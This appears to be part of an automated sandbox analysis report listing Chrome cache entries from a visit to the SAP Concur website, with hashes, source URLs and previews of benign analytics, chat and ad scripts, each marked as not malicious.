Preview:	(globalThis.webpackChunkCE2=globalThis.webpackChunkCE2\|\|[]).push([[806,60],{3588:(e,t,s)=>{"use strict";s.r(t),s.d(t,{EventHandlers:()=>Ps,V11Tracker:()=>Vt,compress:()=>Ls,fp:()=>Ds,getCensoredElements:()=>$t,timing:()=>lt});const r="[\\s\\u00a0\\u2028\\u2029]+";let i;if("undefined"!=typeof Intl&&Intl.Segmenter)try{i=new Intl.Segmenter}catch(e){}const n={whitespace:new RegExp(r,"g"),strip:new RegExp(`^${r}\|${r}$`,"g"),href:/\bhref="(.?)"/i,ipHost:/^([\d\.]+\|\[[a-f\d:]+\])$/i,allChars:/\p{RI}\p{RI}\|\p{Emoji}(\p{EMod}\|\u{FE0F}\u{20E3}?\|[\u{E0020}-\u{E007E}]+\u{E007F})?(\u{200D}\p{Emoji}(\p{EMod}\|\u{FE0F}\u{20E3}?\|[\u{E0020}-\u{E007E}]+\u{E007F})?)\|./gsu};function o(e,t){const s=e.replace(n.strip,"");return t?s.replace(n.whitespace," "):s}const a=2048,c=65535-a;const l=`cesrk${Math.random().toString().replace(/\D/g,"")}`;function h(e){let t;const s=(e=e\|\|window).document;return e[`${l}_path`]!==e.location.pathname&&(e[l]=function(e){const t=e.defaultView,s=e.documentElement;if(s.scroll

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	166
Entropy (8bit):	5.971640855399646
Encrypted:	false
SSDEEP:	3:elygn1Z/F1/tllPb5l6xWcEWcwD30G0qdyq/94i55DFXVg945FBnlgl1lYipNVtq:eoi1Z15kM8cwDJ0qLysTXV44bE3FttUD
MD5:	49CE91FFE0105992D05771A0DED5DCA3
SHA1:	53A4444051B62E052CF73A317835522EEC61AE14
SHA-256:	C12E2DF19D83A98484A125A97ADBE5FADFE5D9318DA84954240CA056C1E98ADC
SHA-512:	874E2DDBE210FDE92A97EE309AAE8350B1AC9AA4AC00B56BA2C4049A270D2AA2E812629EF50FE829B5C9E5CDF07331B9209885A12D1186BEDB687ABC7C91D4AD
Malicious:	false
URL:	https://www.concur.com/sites/all/modules/custom_concur/concur_search/images/ico-arrow.png
Preview:	RIFF....WEBPVP8X..............ALPHT....`.I...@.V...N.(Z^.i./..J.f:P..j.a,...B..#...X]..n......&..NA.(.6....0...1G...<E.VP8 $........*....>.X.L(%#.0.....i..{ ......

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	13114
Entropy (8bit):	7.94523163878864
Encrypted:	false
SSDEEP:	384:ycTGkgHzExFGdgPZi+e4z1KGAYErwHxkqsgAAyV/x7c:DTGkgHzExQdoiF4z1KGyrojsP3g
MD5:	EF7D6B1C5A919A416F8B13F51B514239
SHA1:	A1F08F282FAA0D3AB1EC10D21B7EC7F635DB90F2
SHA-256:	8ADB147CBD91A0FE73F3F00BAE5004D0A3E9E0A24771358991443453920A1C26
SHA-512:	CE27CDE22DD1474EF48BDADAEE7EC1707A1269643D35ECD80D77756EEE880C18CD408CE8E7CA190A06A6621888CCC2A179620A5CD5DB83B049856E16733C19B8
Malicious:	false
URL:	https://www.concur.com/sites/default/files/abtesting_avg_artboard1.png
Preview:	RIFF23..WEBPVP8X...........7..ALPH.......m.0..o..Y"b...#.....;^.5J.m.t...'e.m.m.m.m....O;.}N!"&@nmk....k.=P.5....\#w.pwI..\R.q..>j.d..1........................../...V...,.D5...kh...Y\X.=...o-,l_;g...u.f.k7..#^...F.?......[.5.......U......a.....pb.aw...T"..O........X.....n..+.....+a..\X.8..5X....6.Xq.-ms...9m.-/.#..nn.R..q..{.&..soZy'+..t;...}m.+\@.?............X...t...&...,.N.:.fz^.y..>..~9=....S...~12-..}. ...!>....q.{....X.....i...t..w.rC+..&..{qF..[< 6~...`..D.#....R.......D[.......gFXIgF.C.i).U.].b.?'.aJ-{..zp...(..sb...p.v.D..es.L..a..?w.B).pb.a..@.;.M.>...Fq.....(.\..\|x.+...u....h..m.A.>...>..........I..C..;5>...R.:E.....8......6qV.y^`..4.1^b..=M.Q.. ....d.? ...=`..%..[.y...QT'.T.L..I!..<E..O.......{...J.I..(...'I.....>...d..I.W$..g..m.IA.$.F.~....8D..&9...BH.. ..u.............M.......1./.b..#.%..GcCC.b....Hx.....h.#.~...s...E:.J.....B.D2.7XEE..B.N&FEkC.T..c.I..".........j..\.n...q....(.E2....^..m...v.........t+....d.jp..p..

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	149813
Entropy (8bit):	5.46308004623781
Encrypted:	false
SSDEEP:	3072:3aPIq5ZKyBbVwqoXKbUJJqpZF4dxjn8xJxztaBALYanA91u+bLZs2YCb+hz+2AfN:IKKbYYpZFCxjn8xJqBAk6+2AzZ
MD5:	36D6363E969A3219E50E0FBD0C82EF6B
SHA1:	8FC3C421CE5358BCC989BA192BFA4AD343C9DE1E
SHA-256:	D7525A7D153BB5F4B4C694D854CEE8B51739AAE39DF3F57BA96364E68B10C674
SHA-512:	7ACAC43475967AD460A77CA6A8A2201F068A8913DC1078DF503F1373645E33A158EB561E389EC225446687EFE487C420572E69B22A1DFE9E31E799A0F9164010
Malicious:	false
URL:	https://script.crazyegg.com/pages/versioned/commontransformations-scripts/8925e92c35a8834880599a2419111fcb.js
Preview:	(()=>{"use strict";var e,r={},t={};function o(e){var n=t[e];if(void 0!==n)return n.exports;var i=t[e]={exports:{}};return r[e].call(i.exports,i,i.exports,o),i.exports}o.m=r,e=[],o.O=(r,t,n,i)=>{if(!t){var l=1/0;for(s=0;s<e.length;s++){for(var[t,n,i]=e[s],a=!0,u=0;u<t.length;u++)(!1&i\|\|l>=i)&&Object.keys(o.O).every((e=>o.O[e](t[u])))?t.splice(u--,1):(a=!1,i<l&&(l=i));if(a){e.splice(s--,1);var f=n();void 0!==f&&(r=f)}}return r}i=i\|\|0;for(var s=e.length;s>0&&e[s-1][2]>i;s--)e[s]=e[s-1];e[s]=[t,n,i]},o.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return o.d(r,{a:r}),r},o.d=(e,r)=>{for(var t in r)o.o(r,t)&&!o.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},o.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),o.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 370, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15280
Entropy (8bit):	7.791310796975589
Encrypted:	false
SSDEEP:	384:kOT1jmWqFPOvUSTo4K+9g+Qzzgh28erFPfYFSDbc9:7TZFqFgu+S+QHmOl/bc9
MD5:	23320D1B28472301CEF47E64A0EE6352
SHA1:	7C3FCFFD8098F6A6BFADC8A21931ADD9852E1D47
SHA-256:	C97F59080745B879FE4D44CC0F5E1E9ABA21444BE342196A4CFFB2B99E2E1287
SHA-512:	854308D7DFD687194123009B315E019C9B1F7DA9FA81588E43BB76C8E9B0400F9CC71EC1B56D38E0C83567F3B62CAFE81B10652124436DC07710C0D53644D6A8
Malicious:	false
Preview:	.PNG........IHDR...X...r.....).......orNT..w...;jIDATx...w..U....MOHHh:,.s(...@.4..H..D..A..G.A..,...P....<. ..(E.g@X..jB.r.?.Y..fwfv.l...~....3;sfvw.7...........n....`.!.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... 0.,..........#.......... .qy+...t...z.5.[...v9:....=Gt...z...`......j.T....D...v..........#.......... 0.,..........c.!..6....{.;u.G.\....V.O...W.......;qz....X...;}j..:y...M..t?c.Mi.y.0..`.h....5..tS...3..+G..x}..?.d.e..J$.L.@..`.h....[.....1Mo{.....?...n.....c..7.............@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F..........@`.X.....`....F......n....4>Z^o:z...;f.B.1..}H.@...@.......7..7....c...m...4.&B.........;..t{..y~....}....l.._x.....

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25600), with no line terminators
Category:	downloaded
Size (bytes):	25600
Entropy (8bit):	5.448672016604878
Encrypted:	false
SSDEEP:	768:RYzFZflJreLbrCS9h7vo/TMNt340KrExPdtS9p:eeLP7vobcSr
MD5:	48BE1563378F7C36BDADC0F2EB616856
SHA1:	2AA42B08FE8CC7AC0DC371D2309A38D5A465247F
SHA-256:	63C035E2F43180086B19EC08F35C8DEEE82B2B804DDFCF92F7F0E6D835957BFE
SHA-512:	6BD0492F48D247C598BB23CD41063A90C95B93AC491F80BB80FD755D004A2275CD04D0D456CDF618D70E344C74B6EA51FBD1EE3AFC62F68A91DA322A0BF9692F
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/43.7ac85d58.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[43],{"1Fob":function(t,e,r){"use strict";var n=new RegExp("%[a-f0-9]{2}","gi"),f=new RegExp("(%[a-f0-9]{2})+","gi");function decodeComponents(t,e){try{return decodeURIComponent(t.join(""))}catch(f){}if(1===t.length)return t;e=e\|\|1;var r=t.slice(0,e),n=t.slice(e);return Array.prototype.concat.call([],decodeComponents(r),decodeComponents(n))}function decode(t){try{return decodeURIComponent(t)}catch(f){for(var e=t.match(n),r=1;r<e.length;r++)e=(t=decodeComponents(e,r).join("")).match(n);return t}}t.exports=function(t){if("string"!==typeof t)throw new TypeError("Expected `encodedURI` to be of type `string`, got `"+typeof t+"`");try{return t=t.replace(/\+/g," "),decodeURIComponent(t)}catch(e){return function customDecodeURIComponent(t){for(var r={"%FE%FF":"\ufffd\ufffd","%FF%FE":"\ufffd\ufffd"},n=f.exec(t);n;){try{r[n[0]]=decodeURIComponent(n[0])}catch(e){var i=decode(n[0]);i!==n[0]&&(r[n[0]]=i)}n=f.exec(t)}r["%C2"]="\ufffd";for(var o=Obj

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	11192
Entropy (8bit):	4.888646283586426
Encrypted:	false
SSDEEP:	192:aK2i3UpVjGpivGqE66PziNSYFuj/E4Igsf/3MgC+K:aRRqiv+mNR0j/7Vy0g4
MD5:	3DF04106AE810ABDE29BB2273D54F685
SHA1:	0727194C2E2130BF2B468BFE7A3CF64C176203D8
SHA-256:	98274D99DBE7637CB31EBC2153991A95F4C495DBE64CAE2723A8551FF1BB55E5
SHA-512:	7CF2DFD7309E39B52AC6C42ED51838730F8BE96E4E0656BCB9461CA3F93C84CB1D3712E94619A8A14B6C1367D52BE6F16506F065B0FDEE19A2C2E56C82E53E17
Malicious:	false
URL:	https://www.concur.com/sites/all/modules/custom_concur/concur_site_selector/images/us.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 23.0.4, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 13.94 13.94" style="enable-background:new 0 0 13.94 13.94;" xml:space="preserve">.<style type="text/css">...st0{fill:#FE0000;}...st1{fill:#000095;}...st2{fill:#E5E5E5;}...st3{fill:#026799;}...st4{fill:#EFC30C;}...st5{fill:#012681;}...st6{fill:#D2142E;}...st7{fill:#B22234;}...st8{fill:#3C3B6E;}...st9{fill:#00732F;}...st10{fill:#282828;}...st11{fill:#EA0606;}...st12{fill:#D8091E;}...st13{fill:#C10517;}...st14{fill:#E2242E;}...st15{fill:#002868;}...st16{fill:#ED1B24;}...st17{fill:#383C95;}...st18{fill:#002395;}...st19{fill:#DE3831;}...st20{fill:#036B40;}...st21{fill:#FFB612;}...st22{fill:#D31F0D;}...st23{fill:#F9D230;}...st24{fill:#D9BC22;}...st25{fill:#E13E39;}...st26{fill:#F03E34;}...st27{fill:#02842D;}...st28{fill:#E5C505;}...st

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8798), with no line terminators
Category:	dropped
Size (bytes):	8798
Entropy (8bit):	5.089726318453755
Encrypted:	false
SSDEEP:	192:lYRFIAAwwGRfQBMRV04Ip7LZzr9ZVkiiQK:mRFIZwwGRfPRitp7Fzr9ZVkrj
MD5:	C5EFCDC9E465604F32CF24AF10FD6C13
SHA1:	20FB642D2BFA7B5593CCF14AA11FFF2CCC3E8DF8
SHA-256:	862BAE5C822D87DB86D0B893F474177CA1D9A51309354F12CC0AB85CD9BD9CF7
SHA-512:	5D09DAC4F395C8682D3DEC65573CFF441BBF0C22CFC5ABF524DCC54693D0AFDFFDCF00B13010F6995DA81EC4AEC59FE315B5E131523EC2833B86C1A1704D7589
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],{LaGA:function(e,t,n){"use strict";(function(e){var n=function(){if("undefined"!==typeof Map)return Map;function getIndex(e,t){var n=-1;return e.some(function(e,r){return e[0]===t&&(n=r,!0)}),n}return function(){function class_1(){this.__entries__=[]}return Object.defineProperty(class_1.prototype,"size",{get:function get(){return this.__entries__.length},enumerable:!0,configurable:!0}),class_1.prototype.get=function(e){var t=getIndex(this.__entries__,e),n=this.__entries__[t];return n&&n[1]},class_1.prototype.set=function(e,t){var n=getIndex(this.__entries__,e);~n?this.__entries__[n][1]=t:this.__entries__.push([e,t])},class_1.prototype.delete=function(e){var t=this.__entries__,n=getIndex(t,e);~n&&t.splice(n,1)},class_1.prototype.has=function(e){return!!~getIndex(this.__entries__,e)},class_1.prototype.clear=function(){this.__entries__.splice(0)},class_1.prototype.forEach=function(e,t){void 0===t&&(t=null);for(var n=0,r=this.__entrie

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13273
Entropy (8bit):	5.24682717913011
Encrypted:	false
SSDEEP:	192:+isi1+LXdAzngfW4a7aS/Wk/8waC1mcSqZtRr:uX0gu5P/GwaC1mcf
MD5:	7E2EC20ADDB51843EF7B6ACFADFF263A
SHA1:	0A556EFA750E1B73FB5652136EB578BAC7BC9918
SHA-256:	DB91DAEE4896BAD1AEFF610BC49DA69726786D38A087BB8A53B5884E65254F62
SHA-512:	B5A14E6D0BE0A2302D7E795E9953CA6D7091C5615CC7F0F1F03659600F0143EA3A547D5BB67FFAC23C02DDB98DA318E24361F2A8FBD88B5DEE49F98755333728
Malicious:	false
Preview:	{"accountId":"http:\/\/schemaapp.com\/db\/ConcurTechnologies","url":"https:\/\/www.concur.com","templates":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Template20210329161034","categorizedBy":["Product","SoftwareApplication"],"visibleInInterface":"false","updated":"2024-09-26T12:33:40.009Z","@type":"HighlightTemplate","label":"Product pages","publishDate":"2021-04-08T16:37:57.000Z","hasHighlight":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161245386-13400","xPath":"( \/\/link[@rel=\"canonical\"]\/@href )","propertyPath":["url"],"@type":"TagXPathDefined"},{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161258782-20218","xPath":"manual","value":"Cloud","@type":"TagDefined","propertyPath":["operatingSystem"]},{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161318667-20218","propertyPath":["image","ImageObject","url"],"@type":"TagXPa

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9217)
Category:	dropped
Size (bytes):	231864
Entropy (8bit):	5.458039173946496
Encrypted:	false
SSDEEP:	3072:nfLeYH8At6JK37OeR8NteGvQ+AMPpgArl0xYu5s713TW:nfLeYc+6JaH8N7QQGArHu5s713K
MD5:	40283CFC473AFBE1D4ABBA7E6C809885
SHA1:	8A32CB88D9F537B02582DF17A5BB11C2087937F6
SHA-256:	48BA1993011DB4834882D81B2153753437607292F704A6543D4466C0F6D1372A
SHA-512:	DABD9FD4CC3FB4FF3EBC2C3529E602E91939DDB1F42C2D7E70188DFC3262548922EA45C96691D567F2C777D393B5CE7162B5BD4C2054B33A03856BBEA1C1A0E3
Malicious:	false
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1111), with no line terminators
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	5.751759021496662
Encrypted:	false
SSDEEP:	24:kHkw8tSyngFuVAOdIcCcEzmZfcEziLEOi/PqjCC5zqinzYjnpRnLxR2+YI:YyLVkczEzXEziL1YnbuO
MD5:	2837E3F36F24A0F5ADEB6DE21092A813
SHA1:	8227588E19794DF8FEFEFA6F104C136926B6E2B4
SHA-256:	A0A3938D5BD93290188B56C2708853A2531B22D52CEAB694918AD9125E5876B8
SHA-512:	403BF80CB7ED0BC28C0B6AEA3D93465821F8A48F3E8F3AF1D0A94955E58CBD93D6F4ECB3E64B438BF7B13382441D6524049A5C3DCA28519D9647796D0DF832D5
Malicious:	false
URL:	https://td.doubleclick.net/td/rul/1044530512?random=1727944905089&cv=11&fst=1727944905089&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":1,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j7534983770"}},{"action":0,"expirationTimeInSeconds":2592000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j597682920!5b1","additionalBidKey":"KEvOAaVuhcaJlPjxFzAxGFdJiib5pBKMXVLqezXraNw="}}]};</script><script>for(let i of ig_list.interestGroups){try{if(i.action==0){navigator.joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_join_ig&t

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22096), with no line terminators
Category:	downloaded
Size (bytes):	22096
Entropy (8bit):	5.1556985111456
Encrypted:	false
SSDEEP:	384:BX0ZDdRzUjTFCa4oj2AlF8RrLPrGH/u2d2Cw25f80m92Nfx0K2Z2F2I02Kft0PEM:KZDdpUjwaPSA4gHMAZesNW4kacLi
MD5:	4EDDEEC95AFDA969B3D1B2FB970C1EB1
SHA1:	DA4C64223B6FF380F03AE2506DF526C22A9103D9
SHA-256:	42E2DD427DD9F9D45367C880C68289114B7DE56373FF8BDC664EA0FA3CE77880
SHA-512:	2D431F9BDB08263AB0BC0A596F13E35A136318DA42190EC08712FB1CF963A82EC56FD04231084C876F57853F5930E25F65B1F9D451BDDF140134C7C05F89A0C4
Malicious:	false
URL:	https://cdn.pdst.fm/ping.min.js
Preview:	(()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var u=new o(r,i\|\|t,c),a=e?e+n:n;return t._events[a]?t._events[a].fn?t._events[a]=[t._events[a],u]:t._events[a].push(u):(t._events[a]=u,t._eventsCount++),t}function c(t,n){0==--t._eventsCount?t._events=new r:delete t._events[n]}function u(){this._events=new r,this._eventsCount=0}Object.create&&(r.prototype=Object.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySymbols(t)):o},u.prototype.listeners=function(t){var n=e?e+t:t,r=this._events[n];if(!r)return[];if(r.fn)return[r.fn];for(var o=0,i=r.length,c=new Array(i);o<i;o++)c[o]=r[o].fn;return c},u

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35552), with no line terminators
Category:	downloaded
Size (bytes):	35552
Entropy (8bit):	5.272922801597397
Encrypted:	false
SSDEEP:	384:zeUUsSi7WTPK47rBtSTECq0XBkpurOMiQvNvvFJcXkryfGvWzo2t8YnO676kg5+n:pYichBgol0XadAvFgOvHzUW7S
MD5:	C6F58DD3D60F07462254B842DD4F9CA1
SHA1:	62C507FC6CC05F9732BCD5C593F3D8D0E0A3D7E2
SHA-256:	2A8A441D8086F20A64563EDC759ABA1DE84D932E34FF77B8BB0279A730CDB428
SHA-512:	21BF35D36D4859188BF32B21F84B71975B72503C72F5B64D7AB98CEFB58045F3F991960CAF9E8BCC95CDC284C6758DB639B4087750206450076263677CA4513B
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/9.4a3e9801.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[9],{"+MLx":function(t,e,n){var r=n("HAuM");t.exports=function(t,e,n){if(r(t),void 0===e)return t;switch(n){case 0:return function(){return t.call(e)};case 1:return function(n){return t.call(e,n)};case 2:return function(n,r){return t.call(e,n,r)};case 3:return function(n,r,o){return t.call(e,n,r,o)}}return function(){return t.apply(e,arguments)}}},"/GqU":function(t,e,n){var r=n("RK3t"),o=n("HYAF");t.exports=function(t){return r(o(t))}},"07d7":function(t,e,n){var r=n("busE"),o=n("sEFX"),i=Object.prototype;o!==i.toString&&r(i,"toString",o,{unsafe:!0})},"0BK2":function(t,e){t.exports={}},"0Dky":function(t,e){t.exports=function(t){try{return!!t()}catch(e){return!0}}},"0GbY":function(t,e,n){var r=n("Qo9l"),o=n("2oRo"),i=function aFunction(t){return"function"==typeof t?t:void 0};t.exports=function(t,e){return arguments.length<2?i(r[t])\|\|i(o[t]):r[t]&&r[t][e]\|\|o[t]&&o[t][e]}},"0eef":function(t,e,n){"use strict";var r={}.propertyIsEnumerable,

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6995), with no line terminators
Category:	downloaded
Size (bytes):	6995
Entropy (8bit):	5.562533334773307
Encrypted:	false
SSDEEP:	192:K/l9vCl29qC9oBRpJry6ov0r6PeHYKCUAQBTyJs4oKvu7S/tj:2v19UH0esgTyJsYbj
MD5:	967691610D4E978AE4079772E260D9B5
SHA1:	2A85463DB6A7E70F11338C646C81F178B30BAF38
SHA-256:	F1F1565545523365818766EE8BE1149EB87B7C7E65FDC1A777B6530A9C27A6AA
SHA-512:	1DA3F6C2AC5048209220ECFB0CE61A091F64C885163107B5485DB6A007D66F8C18498AF39EFB59E9C7555E7F1ECAB78C0723FB5B37AD40B6BCA09B2D3939BD61
Malicious:	false
URL:	https://script.crazyegg.com/pages/scripts/0057/6939.js
Preview:	if(CE_USER_SCRIPT=!0,"object"==typeof CE2&&(CE2.uid\|\|CE2.data))throw Error("CE: multiple userscripts installed");if((CE2="undefined"==typeof CE2?{}:CE2).userDataToJs=function(t){for(var e=[["uid","uid"],["snapshots","snapshots"],["status","status"],["flows","flows"],["sites","sites"],["USER_SCRIPT_VERSION","updated_at"],["__CE_HOST__","ce_app_url"],["COMMON_SCRIPT","common_script_url"],["COMMON_SCRIPT_SECURE","common_script_url"],["TRACKING_SCRIPT","tracking_script_url"],["TRACKING_SCRIPT_SECURE","tracking_script_url"],["AUTH_KEY","hud_auth_key"],["HUD","hud"],["GLOBAL_IP_BLOCK_LIST","global_ip_block_list"],["IS_USING_IP_BLOCKING","is_using_ip_blocking"],["TRACKING_DEST_NEW","v6_tracking_dest"],["TRACKING_DEST_NEW_SECURE","v6_secure_tracking_dest"],["DEST_V11","v11_tracking_dest"],["FT_DEST","flow_tracking_dest"],["PAGE_VIEWS_LIMIT_REACHED","page_views_limit_reached"],["NUMBER_OF_RECORDINGS","recordings_number"],["RECORDINGS_ACTIVATION","recordings_activation"],["ERROR_TRACKING","error

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	105219
Entropy (8bit):	4.4953298159237995
Encrypted:	false
SSDEEP:	768:8oX//GQYYIyy7Y4smKcBS2iCLcovN6RUVMmaenM3MkWQXFSXMoZFAjL4whWO+o2M:8M/BY4MLcW8mRM3MkbXMxclWO+c
MD5:	2682647FDC90030E5D077EF97020396B
SHA1:	CB1720255ABF7617412C8081629A49B9FC707509
SHA-256:	8747218CB8C72EE9425635F40AE879759037270E10FF110B72CB33573942CE68
SHA-512:	479892415539E2CF80D47787D43F31C10710CA9E404F29CD0D5EAE13FF4061AAF4C27FF90E39F4F3F299D731E35AE9E68327319B186FDFFA716AF02CCAD7531C
Malicious:	false
Preview:	/. Click Tracking. */..var concurClickTracking = new function ().{. this.addOneToClickCounterByNodeUrl = function(url). {..var node_id = 0;..node_id = getNodeIdFromUrl(url);...this.addOneToClickCounter(node_id);. }.. this.addOneToClickCounter = function(node_id). {..if (isPositiveInteger(node_id) && node_id > 0)..{.. try.. {...jQuery.post("/ajax/click_tracking", {nid:node_id}, function(data){});.. }.. catch(ex).. {...if (nid)...{... alert("Error adding click counter for node id " + nid);...}...else...{... alert("Error adding click counter for node id ");...}.. }..}. }.. var getNodeIdFromUrl = function(url). {..var nodeId = 0;..var testString = "";...var arrMatches = url.match(/\/node\/(\d+)/i);...if (arrMatches)..{.. testString = arrMatches[1];... if (testString).. {...testString = jQuery.trim(testString);....if (isPositiveInteger(testString))...{... nodeId = testString;...}.. }..}...return nodeId;. }.. var isPosit

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2419), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	31744
Entropy (8bit):	5.209341586748309
Encrypted:	false
SSDEEP:	384:53IgUanBaZ6sRnNaAFYXnCXTP9IQgTPvrtmgCND/niyGrrensHVt648Qnb6eg7D9:7sRNaaIHxasH9mHmIFUx4SO4G/G3u
MD5:	59834844769E2D473AF7C4F24282B465
SHA1:	A76C883A31697B493ED7118868AFF72FC353F49E
SHA-256:	BDD7E47FB8DDAE671B59B1F9BA75A5369BDFE0ECC3CE1C1456590F10412E4F27
SHA-512:	39EE5C60C574060D117ABDAC422D380613294A77CBD6191628BEF3960A9F2F05E3456FD6CC79EF84B48C20EC9A80F97EDD605C574366ADF2F003D415AE42D60F
Malicious:	false
URL:	https://www.concur.com/sites/default/files/js/js_vdfkf7jdrmcbWbH5unWlNpvf4OzDzhwUVlkPEEEuTyc.js
